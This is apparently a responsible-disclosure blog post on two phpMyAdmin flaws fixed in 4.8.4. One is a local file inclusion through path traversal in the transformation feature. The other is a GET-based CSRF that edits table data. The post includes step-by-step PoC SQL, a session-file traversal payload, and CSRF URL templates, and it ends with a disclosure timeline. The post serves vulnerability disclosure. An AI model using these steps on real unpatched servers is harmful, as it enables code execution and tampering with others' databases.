During an assignment, I found several serious vulnerabilities in phpMyAdmin, which is an application massively used to manage MariaDB and MySQL databases. One of them potentially leads to arbitrary code execution by exploiting a Local file inclusion, while the other is a CSRF allowing any table entry to be edited.
1. Local File INCLUSION in transformation feature
The transformation feature from PHPMyAdmin allows to have a specific display for some columns when selecting them from a table. For example, it can transform links in text format to clickable links when rendering them.
Those transformations are defined in PHPMyAdmin’s “column_info” system table, which usually resides in the phpmyadmin database. However, every database can ship its own version of phpmyadmin system tables. For creating phpmyadmin system tables for a specific database, the following call can be used: http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=*yourdb*.
It will create a set of pma__* tables into your database.
Here is an example of how the transformation is applied, from tbl_replace.php:
<?php
$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[...]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&& !empty($mime_map[$column_name]['input_transformation'])
) {
$filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
if (is_file($filename)) {
include_once $filename;
$classname = Transformations::getClassName($filename);
/** @var IOTransformationsPlugin $transformation_plugin */
$transformation_plugin = new $classname();
$transformation_options = Transformations::getOptions(
$mime_map[$column_name]['input_transformation_options']
);
$current_value = $transformation_plugin->applyTransformation(
$current_value, $transformation_options
);
// check if transformation was successful or not
// and accordingly set error messages & insert_fail
if (method_exists($transformation_plugin, 'isSuccess')
&& !$transformation_plugin->isSuccess()
) {
$insert_fail = true;
$row_skipped = true;
$insert_errors[] = sprintf(
__('Row: %1$s, Column: %2$s, Error: %3$s'),
$rownumber, $column_name,
$transformation_plugin->getError()
);
}
}
}
The transformation is fetched from the “pma__column_info” system table in the current database, or from the “phpmyadmin” database instead. The “input_transformation” column is used as a filename to include, and is vulnerable to a path traversal that leads to a local file inclusion.
Here is a PoC to exploit this vulnerability:
- Create a new database “foo” with a random “bar” table containing a “baz” column, with a data containing PHP code in it (to fill the session with some php code):
CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
INSERT INTO foo.bar SELECT '<?php phpinfo() ?>'; - Create phpmyadmin system tables in your db by calling http://phpmyadmin/chk_rel.php?fixall_pmadb=1&db=foo
- Fill the transformation information with the path traversal in the “pma__column_info” table:
INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'[path_traversal]/var/lib/php/sessions/sess_{yourSessionId}','plop'; - Browsing to http://phpmyadmin/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1 will trigger the phpinfo(); call.
2. CSRF for updating data in table
This vulnerability is pretty easy to understand. A simple GET request can be used to update data in a table. Here is an example :
http://phpmyadmin/tbl_replace.php?db=*yourDB*&table=*yourTable*&fields_name[multi_edit][0][0]=*fieldToEdit*&fields[multi_edit][0][0]=*fieldNewValue*&clause_is_unique=1&where_clause=*whereClause*
A malicious user could force a logged-in user to update arbitrary tables in arbitrary DBs. This can also be used in a simple <img> element on forums or elsewhere, as the request is a simple GET one.
These vulnerabilities are both important. We responsibly disclosed them and they were patched on the newly released phpMyAdmin 4.8.4.
Timeline :
- 2018.06.21 – Initial contact with phpMyAdmin security team.
- 2018.06.24 – Initial response that the team will investigate.
- 2018.08.02 – Request for news.
- 2018.08.28 – Re-request for news.
- 2018.08.31 – Response from phpMyAdmin team that they’re still in the process of fixing things.
- 2018.11.01 – Request for news.
- 2018.12.07 – Apologies from phpMyAdmin + explanation that a lot of code rewrite was necessary for multiple CSRF flaws.
- 2018.12.11 – New version released with patch.
Update your things! 😉